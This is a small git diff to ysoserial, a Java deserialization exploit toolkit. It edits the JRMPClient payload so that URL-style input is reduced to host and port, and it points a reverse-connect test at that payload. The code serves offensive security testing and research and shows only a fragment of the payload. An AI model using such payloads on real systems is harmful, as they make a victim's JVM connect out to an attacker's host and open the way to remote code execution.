diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java index 78c23f1..72452a8 100644 --- a/src/main/java/ysoserial/payloads/JRMPClient.java +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -2,6 +2,8 @@ package ysoserial.payloads; import java.lang.reflect.Proxy; +import java.net.URI; +import java.net.URISyntaxException; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; @@ -53,7 +55,9 @@ import ysoserial.payloads.util.PayloadRunner; @Authors({ Authors.MBECHLER }) public class JRMPClient extends PayloadRunner implements ObjectPayload { - public Registry getObject ( final String command ) throws Exception { + public Registry getObject ( String command ) throws Exception { + + command = command.replaceAll("(^[a-z]+://)|(/[^:]+$)", ""); String host; int port; diff --git a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java index 0b43aa4..c5d13fd 100644 --- a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java +++ b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java @@ -60,6 +60,6 @@ public class JRMPReverseConnectTest implements CustomTest { public static void main(String[] args) throws Exception { // ObjectInputFilters.disableDcgFilter(); - PayloadsTest.testPayload(Hibernate2.class); + PayloadsTest.testPayload(JRMPClient.class); // broken by sun.rmi.transport.DGCImpl_Stub.leaseFilter } }